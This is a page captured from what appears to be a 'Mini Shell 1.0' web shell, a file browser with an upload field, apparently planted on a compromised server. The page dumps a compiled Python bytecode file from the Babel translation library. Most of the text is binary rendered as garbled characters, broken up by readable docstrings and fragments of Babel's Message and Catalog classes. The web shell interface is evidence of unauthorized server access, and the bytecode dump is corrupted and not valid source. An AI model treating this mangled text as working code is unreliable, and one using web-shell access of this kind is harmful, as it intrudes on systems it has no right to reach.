HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1991111/cwd/usr/lib/python3/dist-packages/babel/messages/__pycache__/
Upload File :
Current File : //proc/1991111/cwd/usr/lib/python3/dist-packages/babel/messages/__pycache__/catalog.cpython-311.pyc
�

ƪb���8�dZddlZddlmZddlmZddlmZmZddl	m
Z
ddlmZddl
m
Z
dd	lmZdd
lmZmZddlmZddlmZdd
lmZmZmZmZgd�Zejdej��Z d�Z!Gd�d��Z"Gd�de#��Z$dZ%Gd�d��Z&dS)z�
    babel.messages.catalog
    ~~~~~~~~~~~~~~~~~~~~~~

    Data structures for message catalogs.

    :copyright: (c) 2013-2022 by the Babel Team.
    :license: BSD, see LICENSE for more details.
�N)�parse_header)�OrderedDict)�datetime�time)�get_close_matches)�message_from_string)�copy)�__version__)�Locale�UnknownLocaleError)�format_datetime)�
get_plural)�distinct�LOCALTZ�FixedOffsetTimezone�_cmp)�Message�Catalog�TranslationErrorz�
    \%
        (?:\(([\w]*)\))?
        (
            [-#0\ +]?(?:\*|[\d]+)?
            (?:\.(?:\*|[\d]+))?
            [hlL]?
        )
        ([diouxXeEfFgGcrs%])
c���tjd|��}tj|�d��d��}|�d��}|��|d|dd�}}|dd�|dd�}}t|dz��}t|��}	t|��}
|	d	z}||
z
}||z}t
|��}|�|�
��}|S)Nz+^(?P<datetime>.*?)(?P<tzoffset>[+-]\d{4})?$rz%Y-%m-%d %H:%M�tzoffsetr���1�<��tzinfo)�re�matchr�strptime�group�intr�replace)�valuer�dtr�plus_minus_s�rest�hours_offset_s�
mins_offset_s�
plus_minus�hours_offset�mins_offset�net_mins_offsets            �8/usr/lib/python3/dist-packages/babel/messages/catalog.py�_parse_datetime_headerr/)s����H�C�U�K�K�E�	�	�5�;�;�z�2�2�4D�	E�	E�B��{�{�:�&�&�H���%�a�[�(�1�2�2�,�d��(,�R�a�R��$�q�r�r�(�
�����+�,�,�
��>�*�*���-�(�(��'��+���;�&���:�%��'��7�7���Z�Z�x�Z�
(�
(��
�I�c��eZdZdZ		dd�Zd�Zd�Zd�Zd	�Zd
�Z	d�Z
d�Zd
�Zd�Z
d�Zdd�Zed���Zed���Zed���ZdS)rz0Representation of a single message in a catalog.��Nc
�"�||_|s	|jrd}||_tt	|����|_t
|��|_|r"|jr|j�	d��n|j�
d��tt	|����|_tt	|����|_t|t��r	|g|_nt|��|_||_|	|_dS)a_Create the message object.

        :param id: the message ID, or a ``(singular, plural)`` tuple for
                   pluralizable messages
        :param string: the translated message string, or a
                       ``(singular, plural)`` tuple for pluralizable messages
        :param locations: a sequence of ``(filename, lineno)`` tuples
        :param flags: a set or sequence of flags
        :param auto_comments: a sequence of automatic comments for the message
        :param user_comments: a sequence of user comments for the message
        :param previous_id: the previous message ID, or a ``(singular, plural)``
                            tuple for pluralizable messages
        :param lineno: the line number on which the msgid line was found in the
                       PO file, if any
        :param context: the message context
        )r2r2z
python-formatN)�id�pluralizable�string�listr�	locations�set�flags�
python_format�add�discard�
auto_comments�
user_comments�
isinstance�str�previous_id�lineno�context)
�selfr5r7r9r;r?r@rCrDrEs
          r.�__init__zMessage.__init__Js���$����	 �$�+�	 ��F�����h�y�1�1�2�2�����Z�Z��
�
�	0�$�$�	0��J�N�N�?�+�+�+�+��J����/�/�/�!�(�=�"9�"9�:�:���!�(�=�"9�"9�:�:����k�3�'�'�	1� +�}�D���#�K�0�0�D���������r0c�l�dt|��j�d|j�dt|j���d�S)N�<� z	 (flags: z)>)�type�__name__r5r8r;�rFs r.�__repr__zMessage.__repr__os;���(,�T�
�
�(;�(;�(;�T�W�W�W�(,�T�Z�(8�(8�(8�(8�:�	:r0c�L�d�}t||��||����S)z0Compare Messages, taking into account plural idsc��t|t��r|jr|jd|jpdfS|j|jpdfS)Nrr2)rArr6r5rE)�objs r.�values_to_comparez*Message.__cmp__.<locals>.values_to_compareusJ���#�w�'�'�
4�C�,<�
4��v�a�y�#�+�"3��3�3��6�3�;�,�"�,�,r0)r)rF�otherrRs   r.�__cmp__zMessage.__cmp__ss;��	-�	-�	-��%�%�d�+�+�->�->�u�-E�-E�F�F�Fr0c�4�|�|��dkS�Nr�rT�rFrSs  r.�__gt__zMessage.__gt__{����|�|�E�"�"�Q�&�&r0c�4�|�|��dkSrVrWrXs  r.�__lt__zMessage.__lt__~rZr0c�4�|�|��dkSrVrWrXs  r.�__ge__zMessage.__ge__�����|�|�E�"�"�a�'�'r0c�4�|�|��dkSrVrWrXs  r.�__le__zMessage.__le__�r_r0c�4�|�|��dkSrVrWrXs  r.�__eq__zMessage.__eq__�r_r0c�4�|�|��dkSrVrWrXs  r.�__ne__zMessage.__ne__�r_r0c�P�t|t��sJ�|j|jkS)z[Checks whether messages are identical, taking into account all
        properties.
        )rAr�__dict__rXs  r.�is_identicalzMessage.is_identical�s)���%��)�)�)�)�)��}���.�.r0c��ttt|j|j|j|j|j|j|j	|j
|jf	���S�N)r�mapr	r5r7r9r;r?r@rCrDrErMs r.�clonez
Message.clone�sN����D�4�7�D�K���#'�:�t�/A�#'�#5�t�7G�#'�;���#>�?�?�@�	@r0c��ddlm}g}|D];}	|||���#t$r}|�|��Yd}~�4d}~wwxYw|S)a�Run various validation checks on the message.  Some validations
        are only performed if the catalog is provided.  This method returns
        a sequence of `TranslationError` objects.

        :rtype: ``iterator``
        :param catalog: A catalog instance that is passed to the checkers
        :see: `Catalog.check` for a way to perform checks for all messages
              in a catalog.
        r)�checkersN)�babel.messages.checkersrnr�append)rF�catalogrn�errors�checker�es      r.�checkz
Message.check�s���	5�4�4�4�4�4����	!�	!�G�
!�����&�&�&�&��#�
!�
!�
!��
�
�a� � � � � � � � �����
!�����
s��
A�?�Ac��d|jvS)aWhether the translation is fuzzy.

        >>> Message('foo').fuzzy
        False
        >>> msg = Message('foo', 'foo', flags=['fuzzy'])
        >>> msg.fuzzy
        True
        >>> msg
        <Message 'foo' (flags: ['fuzzy'])>

        :type:  `bool`�fuzzy�r;rMs r.rwz
Message.fuzzy�s���$�*�$�$r0c�D�t|jttf��S)z�Whether the message is plurizable.

        >>> Message('foo').pluralizable
        False
        >>> Message(('foo', 'bar')).pluralizable
        True

        :type:  `bool`)rAr5r8�tuplerMs r.r6zMessage.pluralizable�s���$�'�D�%�=�1�1�1r0c��|j}t|ttf��s|g}t	d�|D����S)z�Whether the message contains Python-style parameters.

        >>> Message('foo %(name)s bar').python_format
        True
        >>> Message(('foo %(name)s', 'foo %(name)s')).python_format
        True

        :type:  `bool`c3�JK�|]}t�|��V��dSrj)�
PYTHON_FORMAT�search)�.0r5s  r.�	<genexpr>z(Message.python_format.<locals>.<genexpr>�s0����:�:��=�'�'��+�+�:�:�:�:�:�:r0)r5rAr8rz�any)rF�idss  r.r<zMessage.python_format�sE���g���#��e�}�-�-�	��%�C��:�:�c�:�:�:�:�:�:r0)r2r3r3r3r3r3NNrj)rL�
__module__�__qualname__�__doc__rGrNrTrYr\r^rarcrerhrlru�propertyrwr6r<r3r0r.rrGs6������:�:�MO�HL�#�#�#�#�J:�:�:�G�G�G�'�'�'�'�'�'�(�(�(�(�(�(�(�(�(�(�(�(�/�/�/�@�@�@�����&�%�%��X�%��	2�	2��X�	2��;�;��X�;�;�;r0rc��eZdZdZdS)rz_Exception thrown by translation checkers when invalid message
    translations are encountered.N)rLr�r�r�r3r0r.rr�s������%�%�%�%r0rz�# Translations template for PROJECT.
# Copyright (C) YEAR ORGANIZATION
# This file is distributed under the same license as the PROJECT project.
# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
#c
�p�eZdZdZddeddddddddddf
d�Zd�Zd�Zd�Ze	ee��Z
e	e��Zd�Zd	�Z
e	ee
d
���Zd�Zd%d�Zd�Ze	eed���Ze	d���Ze	d���Ze	d���Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z		d&d�Zd�Zd'd�Zd'd �Z d(d"�Z!d'd#�Z"d$�Z#dS))rz$Representation of a message catalog.NTc�b�||_||_||_t��|_|pd|_|pd|_|pd|_|pd|_|
pd|_		|pd|_
	|pd|_|�tj
t��}n7t|t��r"|js|�t�	��}||_|	�d
}	n7t|	t��r"|	js|	�t�	��}	|	|_|
|_t��|_d|_d|_dS)aDInitialize the catalog object.

        :param locale: the locale identifier or `Locale` object, or `None`
                       if the catalog is not bound to a locale (which basically
                       means it's a template)
        :param domain: the message domain
        :param header_comment: the header comment as string, or `None` for the
                               default header
        :param project: the project's name
        :param version: the project's version
        :param copyright_holder: the copyright holder of the catalog
        :param msgid_bugs_address: the email address or URL to submit bug
                                   reports to
        :param creation_date: the date the catalog was created
        :param revision_date: the date the catalog was revised
        :param last_translator: the name and email of the last translator
        :param language_team: the name and email of the language team
        :param charset: the encoding to use in the output (defaults to utf-8)
        :param fuzzy: the fuzzy bit on the catalog header
        �PROJECT�VERSION�ORGANIZATIONz
EMAIL@ADDRESSzFULL NAME <EMAIL@ADDRESS>zLANGUAGE <LL@li.org>�utf-8NrzYEAR-MO-DA HO:MI+ZONE)�domain�locale�_header_commentr�	_messages�project�version�copyright_holder�msgid_bugs_address�last_translator�
language_team�charsetr�nowrrArr#�
creation_date�
revision_daterw�obsolete�_num_plurals�_plural_expr)rFr�r��header_commentr�r�r�r�r�r�r�r�r�rws              r.rGzCatalog.__init__�sI��2������-���$������+�)����+�)��� 0� B�N���"4�"G����.�M�2M���<�*�D�.D���:��)�'���� �$�L��1�1�M�M�
�
�x�
0�
0�	B��9M�	B�)�1�1��1�A�A�M�*���� �3�M�M�
�
�x�
0�
0�	B��9M�	B�)�1�1��1�A�A�M�*�����
�#�
�
��
� ��� ����r0c�h�|�d|_d|_dSt|t��rt	|��|_||_dSt|t��rHt	|��|_	tj|��|_n#t$r
d|_YnwxYwdStd|z���)NzF`locale` must be a Locale, a locale identifier string, or None; got %r)�_locale_identifier�_localerArrB�parser�	TypeError�rFr�s  r.�_set_localezCatalog._set_locale"s����>�&*�D�#��D�L��F��f�f�%�%�	�&)�&�k�k�D�#�!�D�L��F��f�c�"�"�	�&)�&�k�k�D�#�
$�%�|�F�3�3�����%�
$�
$�
$�#�����
$�����F��`�ci�i�j�j�js�/B	�	B�Bc��|jSrj)r�rMs r.�_get_localezCatalog._get_locale7s
���|�r0c��|jSrj)r�rMs r.�_get_locale_identifierzCatalog._get_locale_identifier:s���&�&r0c��|j}tjt���d��}t|jd��r|j�d��}|�d|j���d|j	���d|���d|j
��}|jr|jjn|j
}|r|�dd|z��}|S)	Nz%Y�strftimer�r��YEARr�zTranslations templatez%s translations)r�rr�rr��hasattrr�r#r�r�r�r��english_name�locale_identifier)rF�comment�year�locale_names    r.�_get_header_commentzCatalog._get_header_comment@s����&���|�G�$�$�-�-�d�3�3���4�%�z�2�2�	5��%�.�.�t�4�4�D��/�/�)�T�\�:�:�!�'�)�T�\�:�:�!�'�&�$�/�/�!�'�.�$�2G�H�H�	�48�;�Z�t�{�/�/�D�DZ���	`��o�o�&=�?P�S^�?^�_�_�G��r0c��||_dSrj)r�)rFr7s  r.�_set_header_commentzCatalog._set_header_commentNs��%����r0a�    The header comment for the catalog.

    >>> catalog = Catalog(project='Foobar', version='1.0',
    ...                   copyright_holder='Foo Company')
    >>> print(catalog.header_comment) #doctest: +ELLIPSIS
    # Translations template for Foobar.
    # Copyright (C) ... Foo Company
    # This file is distributed under the same license as the Foobar project.
    # FIRST AUTHOR <EMAIL@ADDRESS>, ....
    #

    The header can also be set from a string. Any known upper-case variables
    will be replaced when the header is retrieved again:

    >>> catalog = Catalog(project='Foobar', version='1.0',
    ...                   copyright_holder='Foo Company')
    >>> catalog.header_comment = '''\
    ... # The POT for my really cool PROJECT project.
    ... # Copyright (C) 1990-2003 ORGANIZATION
    ... # This file is distributed under the same license as the PROJECT
    ... # project.
    ... #'''
    >>> print(catalog.header_comment)
    # The POT for my really cool Foobar project.
    # Copyright (C) 1990-2003 Foo Company
    # This file is distributed under the same license as the Foobar
    # project.
    #

    :type: `unicode`
    )�docc	�^�g}|�d|j�d|j��f��|�d|jf��|�dt	|jdd���f��t
|jttttf��r-|�dt	|jdd���f��n|�d|jf��|�d	|jf��|j
r)|�d
t|j
��f��|j
rLd|jvrC|�d|j�dt|j
����f��n|�d|jf��|j�|�d
|jf��|�d��|�dd|jzf��|�d��|�ddt(zf��|S)NzProject-Id-VersionrJzReport-Msgid-Bugs-TozPOT-Creation-Datezyyyy-MM-dd HH:mmZ�en)r�zPO-Revision-DatezLast-Translator�Language�LANGUAGEz
Language-TeamzPlural-Forms)zMIME-Versionz1.0zContent-Typeztext/plain; charset=%s)zContent-Transfer-Encoding�8bitzGenerated-Byz	Babel %s
)rpr�r�r�r
r�rAr�r�time_r"�floatr�r�rBr�r#r��plural_formsr�r�)rF�headerss  r.�_get_mime_headerszCatalog._get_mime_headersrsw�������,�#'�<�<�<����>�@�	A�	A�	A����.��0G�H�I�I�I����+�'��(:�<O�/3�5�5�5�6�	7�	7�	7��d�(�8�U�C��*G�H�H�	E��N�N�.�+�D�,>�,?��N�N�N�O�
P�
P�
P�
P�
�N�N�.��0B�C�D�D�D����)�4�+?�@�A�A�A��!�	F��N�N�J��D�,B�(C�(C�D�E�E�E��!�	B�z�T�5G�'G�'G��N�N�O� �.�6�6�z�7:�4�;Q�7R�7R�T�T�U�
V�
V�
V�
V�
�N�N�O�T�-?�@�A�A�A��;�"��N�N�N�D�,=�>�?�?�?����.�/�/�/�����0�4�<�?�A�	B�	B�	B����<�=�=�=������w�(>�?�@�@�@��r0r��strictc��t|t��r|St|t��r|�||��St|��Srj)rArB�bytes�decode)rF�s�encodingrrs    r.�_force_textzCatalog._force_text�sJ���a����	��H��a����	.��8�8�H�f�-�-�-��1�v�v�
r0c��|D�]�\}}|�|���|j���}|�||j���}|dkrE|�d��}d�|dd���|_|d|_��|dkr||_��|dkr||_��|dkr,|�	dd	��}|�
|����|d
kr||_��|dkr7t|��\}}d|vr|d���|_��4|d
krZtd|z��\}}t|�dd����|_|�dd��|_���|dkrt#|��|_���|dkrd|vrt#|��|_���dS)N)r�zproject-id-versionrJ���zreport-msgid-bugs-tozlast-translator�language�-�_z
language-teamzcontent-typer�zplural-formsz ;�npluralsr�plural�(n != 1)zpot-creation-datezpo-revision-dater�)r��lowerr��split�joinr�r�r�r�r#r�r�rr"�getr�r�r/r�r�)rFr��namer$�parts�mimetype�paramsr�s        r.�_set_mime_headerszCatalog._set_mime_headers�s���"�	G�	G�K�D�%��#�#�D�J�J�L�L�4�<�#�H�H�D��$�$�U�T�\�$�B�B�E��+�+�+����C�(�(��#�y�y��s��s��4�4���$�R�y�����/�/�/�*/��'�'��*�*�*�',��$�$���#�#��
�
�c�3�/�/��� � ��'�'�'�'���(�(�%*��"�"���'�'�#/��#6�#6� ��&���&�&�#)�)�#4�#:�#:�#<�#<�D�L����'�'�(����6�6�	��6�$'��
�
�:�q�(A�(A�$B�$B��!�$*�J�J�x��$D�$D��!�!��,�,�,�%;�E�%B�%B��"�"��+�+�+���&�&�)?��)F�)F�D�&��;	G�	Gr0a�    The MIME headers of the catalog, used for the special ``msgid ""`` entry.

    The behavior of this property changes slightly depending on whether a locale
    is set or not, the latter indicating that the catalog is actually a template
    for actual translations.

    Here's an example of the output for such a catalog template:

    >>> from babel.dates import UTC
    >>> created = datetime(1990, 4, 1, 15, 30, tzinfo=UTC)
    >>> catalog = Catalog(project='Foobar', version='1.0',
    ...                   creation_date=created)
    >>> for name, value in catalog.mime_headers:
    ...     print('%s: %s' % (name, value))
    Project-Id-Version: Foobar 1.0
    Report-Msgid-Bugs-To: EMAIL@ADDRESS
    POT-Creation-Date: 1990-04-01 15:30+0000
    PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE
    Last-Translator: FULL NAME <EMAIL@ADDRESS>
    Language-Team: LANGUAGE <LL@li.org>
    MIME-Version: 1.0
    Content-Type: text/plain; charset=utf-8
    Content-Transfer-Encoding: 8bit
    Generated-By: Babel ...

    And here's an example of the output when the locale is set:

    >>> revised = datetime(1990, 8, 3, 12, 0, tzinfo=UTC)
    >>> catalog = Catalog(locale='de_DE', project='Foobar', version='1.0',
    ...                   creation_date=created, revision_date=revised,
    ...                   last_translator='John Doe <jd@example.com>',
    ...                   language_team='de_DE <de@example.com>')
    >>> for name, value in catalog.mime_headers:
    ...     print('%s: %s' % (name, value))
    Project-Id-Version: Foobar 1.0
    Report-Msgid-Bugs-To: EMAIL@ADDRESS
    POT-Creation-Date: 1990-04-01 15:30+0000
    PO-Revision-Date: 1990-08-03 12:00+0000
    Last-Translator: John Doe <jd@example.com>
    Language: de_DE
    Language-Team: de_DE <de@example.com>
    Plural-Forms: nplurals=2; plural=(n != 1);
    MIME-Version: 1.0
    Content-Type: text/plain; charset=utf-8
    Content-Transfer-Encoding: 8bit
    Generated-By: Babel ...

    :type: `list`
    c�r�|j�*d}|jrt|j��d}||_|jS)z�The number of plurals used by the catalog or locale.

        >>> Catalog(locale='en').num_plurals
        2
        >>> Catalog(locale='ga').num_plurals
        5

        :type: `int`Nrr)r�r�r)rF�nums  r.�num_pluralszCatalog.num_plurals�sA����$��C��{�
1� ���-�-�a�0�� #�D��� � r0c�r�|j�*d}|jrt|j��d}||_|jS)aWThe plural expression used by the catalog or locale.

        >>> Catalog(locale='en').plural_expr
        '(n != 1)'
        >>> Catalog(locale='ga').plural_expr
        '(n==1 ? 0 : n==2 ? 1 : n>=3 && n<=6 ? 2 : n>=7 && n<=10 ? 3 : 4)'
        >>> Catalog(locale='ding').plural_expr  # unknown locale
        '(n != 1)'

        :type: `str`Nr�r)r�r�r)rF�exprs  r.�plural_exprzCatalog.plural_expr�sA����$��D��{�
2�!�$�+�.�.�q�1�� $�D��� � r0c�(�d|j�d|j�d�S)z�Return the plural forms declaration for the locale.

        >>> Catalog(locale='en').plural_forms
        'nplurals=2; plural=(n != 1);'
        >>> Catalog(locale='pt_BR').plural_forms
        'nplurals=2; plural=(n > 1);'

        :type: `str`z	nplurals=z	; plural=�;)r�r�rMs r.r�zCatalog.plural_formss#���-1�,<�,<�,<�d�>N�>N�>N�O�Or0c�:�|�|��|jvS)z?Return whether the catalog has a message with the specified ID.��_key_forr��rFr5s  r.�__contains__zCatalog.__contains__s���}�}�R� � �D�N�2�2r0c�*�t|j��S)zeThe number of messages in the catalog.

        This does not include the special ``msgid ""`` entry.)�lenr�rMs r.�__len__zCatalog.__len__ s���4�>�"�"�"r0c#�K�g}|jD]\}}|�|�d|����� t��}|jr|dhz}t	dd�|��|���V�|jD]}|j|V��dS)z�Iterates through all the entries in the catalog, in the order they
        were added, yielding a `Message` object for every entry.

        :rtype: ``iterator``z: rwr2�
rxN)�mime_headersrpr:rwrr�r�)rF�bufr�r$r;�keys      r.�__iter__zCatalog.__iter__&s�����
���,�	1�	1�K�D�%��J�J�4�4�4���/�0�0�0�0������:�	��g�Y��E��c�4�9�9�S�>�>��7�7�7�7�7�7��>�	&�	&�C��.��%�%�%�%�%�	&�	&r0c�l�d}|jr
d|jz}dt|��j�d|j�|�d�S)Nr2z %srIrJ�>)r�rKrLr�r�s  r.rNzCatalog.__repr__5sB�����;�	)��T�[�(�F��"�4�j�j�1�1�1�4�;�;����G�Gr0c�0�|�|��dS)z)Delete the message with the specified ID.N)�deleter�s  r.�__delitem__zCatalog.__delitem__;s�����B�����r0c�,�|�|��S)zUReturn the message with the specified ID.

        :param id: the message ID
        )r�r�s  r.�__getitem__zCatalog.__getitem__?s��
�x�x��|�|�r0c���t|t��s
Jd���|�||j��}|j�|��}|r�|jr|js|j|_|j|_tt|j|jz����|_tt|j|jz����|_tt|j
|j
z����|_
|xj|jzc_|}dS|dkrbt|j�����|_d�d�|j
D����|_|j|_dSt|tt*f��r@t|jtt*f��sJdt-|j��z���||j|<dS)a�Add or update the message with the specified ID.

        >>> catalog = Catalog()
        >>> catalog[u'foo'] = Message(u'foo')
        >>> catalog[u'foo']
        <Message u'foo' (flags: [])>

        If a message with that ID is already in the catalog, it is updated
        to include the locations and flags of the new message.

        >>> catalog = Catalog()
        >>> catalog[u'foo'] = Message(u'foo', locations=[('main.py', 1)])
        >>> catalog[u'foo'].locations
        [('main.py', 1)]
        >>> catalog[u'foo'] = Message(u'foo', locations=[('utils.py', 5)])
        >>> catalog[u'foo'].locations
        [('main.py', 1), ('utils.py', 5)]

        :param id: the message ID
        :param message: the `Message` object
        zexpected a Message objectr2r�c�<�g|]}d|z�����S)z# %s)�rstrip)r�cs  r.�
<listcomp>z'Catalog.__setitem__.<locals>.<listcomp>os:��-G�-G�-G�q�f�q�j�-@�-@�-B�-B�-G�-G�-Gr0zExpected sequence but got %sN)rArr�rEr�r�r6r5r7r8rr9r?r@r;r�itemsr�r�r�rwrzrK)rFr5�messager��currents     r.�__setitem__zCatalog.__setitem__Fs��,�'�7�+�+�H�H�-H�H�H�H��m�m�B���0�0���.�$�$�S�)�)���	*��#�
0�G�,@�
0�$�Z��
�!(���� $�X�g�.?�.5�.?�/@�&A�&A�!B�!B�G��$(��'�2G�29�2G�3H�*I�*I�%J�%J�G�!�$(��'�2G�29�2G�3H�*I�*I�%J�%J�G�!��M�M�W�]�*�M�M��G�G�G�
�2�X�X� 3�G�N� C� C� I� I� K� K�D��"&�)�)�-G�-G�07�0E�-G�-G�-G�#H�#H�D�� ��D�J�J�J��"�t�U�m�,�,�
J�!�'�.�4��-�@�@�J�J�2�T�'�.�5I�5I�I�J�J�J�")�D�N�3���r0r3c
�Z�t||t|��||||||	��	�	}
|
||<|
S)atAdd or update the message with the specified ID.

        >>> catalog = Catalog()
        >>> catalog.add(u'foo')
        <Message ...>
        >>> catalog[u'foo']
        <Message u'foo' (flags: [])>

        This method simply constructs a `Message` object with the given
        arguments and invokes `__setitem__` with that object.

        :param id: the message ID, or a ``(singular, plural)`` tuple for
                   pluralizable messages
        :param string: the translated message string, or a
                       ``(singular, plural)`` tuple for pluralizable messages
        :param locations: a sequence of ``(filename, lineno)`` tuples
        :param flags: a set or sequence of flags
        :param auto_comments: a sequence of automatic comments
        :param user_comments: a sequence of user comments
        :param previous_id: the previous message ID, or a ``(singular, plural)``
                            tuple for pluralizable messages
        :param lineno: the line number on which the msgid line was found in the
                       PO file, if any
        :param context: the message context
        )rDrE)rr8)rFr5r7r9r;r?r@rCrDrEr�s           r.r=zCatalog.addxsB��6�"�f�d�9�o�o�u�m�'��V�")�+�+�+����R���r0c#�~K�|j���D] }|�|���}|r||fV��!dS)aBRun various validation checks on the translations in the catalog.

        For every message which fails validation, this method yield a
        ``(message, errors)`` tuple, where ``message`` is the `Message` object
        and ``errors`` is a sequence of `TranslationError` objects.

        :rtype: ``iterator``
        )rqN)r��valuesru)rFr�rrs   r.ruz
Catalog.check�s[�����~�,�,�.�.�	&�	&�G��]�]�4�]�0�0�F��
&��v�o�%�%�%��	&�	&r0c�^�|j�|�||����S)z�Return the message with the specified ID and context.

        :param id: the message ID
        :param context: the message context, or ``None`` for no context
        )r�r�r�)rFr5rEs   r.r�zCatalog.get�s(���~�!�!�$�-�-��G�"<�"<�=�=�=r0c�X�|�||��}||jvr
|j|=dSdS)z�Delete the message with the specified ID and context.

        :param id: the message ID
        :param context: the message context, or ``None`` for no context
        Nr��rFr5rEr�s    r.r�zCatalog.delete�s<���m�m�B��(�(���$�.� � ���s�#�#�#�!� r0Fc���������j������t���_g}|s��fd��D��}t��������fd�}|D]�}|jrˉ�|j|j��}|�vr||||���;|s�t|t��r	|d}	n|}	t|	�
�����|���d��}
|
r$|
d}||}|�||f}||||����|�|j<�ՉD]}
|s|
�vr�|
�j
|
<�|r|j�_|j�_dS)a�Update the catalog based on the given template catalog.

        >>> from babel.messages import Catalog
        >>> template = Catalog()
        >>> template.add('green', locations=[('main.py', 99)])
        <Message ...>
        >>> template.add('blue', locations=[('main.py', 100)])
        <Message ...>
        >>> template.add(('salad', 'salads'), locations=[('util.py', 42)])
        <Message ...>
        >>> catalog = Catalog(locale='de_DE')
        >>> catalog.add('blue', u'blau', locations=[('main.py', 98)])
        <Message ...>
        >>> catalog.add('head', u'Kopf', locations=[('util.py', 33)])
        <Message ...>
        >>> catalog.add(('salad', 'salads'), (u'Salat', u'Salate'),
        ...             locations=[('util.py', 38)])
        <Message ...>

        >>> catalog.update(template)
        >>> len(catalog)
        3

        >>> msg1 = catalog['green']
        >>> msg1.string
        >>> msg1.locations
        [('main.py', 99)]

        >>> msg2 = catalog['blue']
        >>> msg2.string
        u'blau'
        >>> msg2.locations
        [('main.py', 100)]

        >>> msg3 = catalog['salad']
        >>> msg3.string
        (u'Salat', u'Salate')
        >>> msg3.locations
        [('util.py', 42)]

        Messages that are in the catalog but not in the template are removed
        from the main collection, but can still be accessed via the `obsolete`
        member:

        >>> 'head' in catalog
        False
        >>> list(catalog.obsolete.values())
        [<Message 'head' (flags: [])>]

        :param template: the reference catalog, usually read from a POT file
        :param no_fuzzy_matching: whether to use fuzzy matching of message IDs
        c�p��i|]2}|��|j���|���|j��3Sr3)r7r�rE)r�msgid�messagesrFs  ��r.�
<dictcomp>z"Catalog.update.<locals>.<dictcomp>�sR��� � � ��� �3;�E�?�3I� ��
�
�e�$�$�h�u�o�&=� � � r0c���|���}d}||krnd}��|����|��}t|jt
��r|jg|_n0t|j��|_n��|d��}|j	|_	�r&tt|j����|_t|jttf��r�t|j	ttf��s9d}t|j	gdgt|j��dz
zz��|_	n�t|j	���	jkr5d}t|j	dt|j	�����|_	n5t|j	ttf��rd}|j	d|_	|xj|jzc_|r|xjdhzc_|�	|j<dS)NFTr2rrrw)rlr=r�rAr5rBrCr8�popr7rr@rzr�r�r;)
r��oldkey�newkeyrw�oldmsg�
fuzzy_matches�keep_user_commentsr	�	remainingrFs
     �����r.�_mergezCatalog.update.<locals>._merge�s�����m�m�o�o�G��E��������!�!�&�)�)�)�!���f�-�-���f�i��-�-�:�+1�9�+�G�'�'�*.�v�y�/�/�G�'�'�"���v�t�4�4��#�]�G�N�!�
M�(,�X�f�6J�-K�-K�(L�(L��%��'�*�t�U�m�4�4�
3�!�'�.�4��-�@�@�P� �E�%*� ��(�S�E�S���_�_�q�5H�,I�J�&�&�G�N�N����(�(�D�,<�<�<� �E�%*�7�>�:M�3�v�}�;M�;M�:M�+N�%O�%O�G�N���G�N�T�5�M�:�:�
3���!(���!2����M�M�V�\�)�M�M��
,��
�
�(��+�
�
�&�D�����r0rrN)r�r	rr:r5r�rErArzrr��strip�keysr�r�r�)rF�template�no_fuzzy_matching�update_header_commentr�fuzzy_candidatesrr�r��matchkey�matchesr�newctxtrrr	rs`   `         @@@r.�updatezCatalog.update�s��������j�>���M�M�O�O�	�$������� �	� � � � � �%� � � �����
�!	'�!	'�!	'�!	'�!	'�!	'�!	'�!	'�!	'�F �	/�	/�G��z�
/��m�m�G�J���@�@���(�?�?��F�7�C��-�-�-�-�,�%�%�c�5�1�1�+�'*�1�v�H�H�'*�H�"3�H�N�N�4D�4D�4J�4J�4L�4L�4D�4I�4I�4K�4K�Q�#P�#P��"�%�%,�Q�Z�F�&6�v�&>�G�&�2�)/����"�F�7�F�C�8�8�8�$�'.�D���$���	8�	8�E� �
8�E��$>�$>�'0��'7��
�e�$�� �	:�#+�"9�D��&�3����r0c�^�|}t|ttf��r|d}|�||f}|S)z�The key for a message is just the singular ID even for pluralizable
        messages, but is a ``(msgid, msgctxt)`` tuple for context-specific
        messages.
        r)rAr8rzrs    r.r�zCatalog._key_forCs<��
���c�D�%�=�)�)�	��Q�%�C�����.�C��
r0c�|�t|t��sJ�|j���|j���zD]H}|�|��}|�|��}|�|�|�|��sdS�It
|j��t
|j��kS)z\Checks if catalogs are identical, taking into account messages and
        headers.
        NF)rArr�rr�rh�dictr�)rFrSr��	message_1�	message_2s     r.rhzCatalog.is_identicalOs����%��)�)�)�)�)��>�&�&�(�(�5�?�+?�+?�+A�+A�A�	�	�C�����
�
�I��	�	�#���I��!��$� �-�-�i�8�8�%��u�u�%��D�%�&�&�$�u�/A�*B�*B�B�Br0)r�r�)Nr3r3r3r3r3NNrj)FFT)$rLr�r�r��DEFAULT_HEADERrGr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rNr�r�r�r=rur�r�rr�rhr3r0r.rr�s�������.�.�"�4���t�d�$(��#�T���T�	8!�8!�8!�8!�tk�k�k�*���'�'�'��X�k�;�
/�
/�F� ��!7�8�8�����&�&�&��X�1�3F�M�	�	�	�N�B���@����G�G�G�@�8�-�/@�1G�1	�1	�1	�L�f�!�!��X�!� �!�!��X�!�$�	P�	P��X�	P�3�3�3�#�#�#�
&�
&�
&�H�H�H�������0*�0*�0*�dJL�CG�����B&�&�&�>�>�>�>�$�$�$�$�H4�H4�H4�H4�T
�
�
�
�C�C�C�C�Cr0r)'r�r�cgir�collectionsrrrr��difflibr�emailrr	�babelr
r��
babel.corerr�babel.datesr
�babel.messages.pluralsr�
babel.utilrrrr�__all__�compile�VERBOSEr}r/r�	Exceptionrr#rr3r0r.�<module>r1s�����
�	�	�	�������#�#�#�#�#�#�,�,�,�,�,�,�,�,�%�%�%�%�%�%�%�%�%�%�%�%�������(�(�(�(�(�(�1�1�1�1�1�1�1�1�'�'�'�'�'�'�-�-�-�-�-�-�C�C�C�C�C�C�C�C�C�C�C�C�
4�
4�
4����
�	��Z�	�	�
����<N;�N;�N;�N;�N;�N;�N;�N;�b%�%�%�%�%�y�%�%�%�
��x	C�x	C�x	C�x	C�x	C�x	C�x	C�x	C�x	C�x	Cr0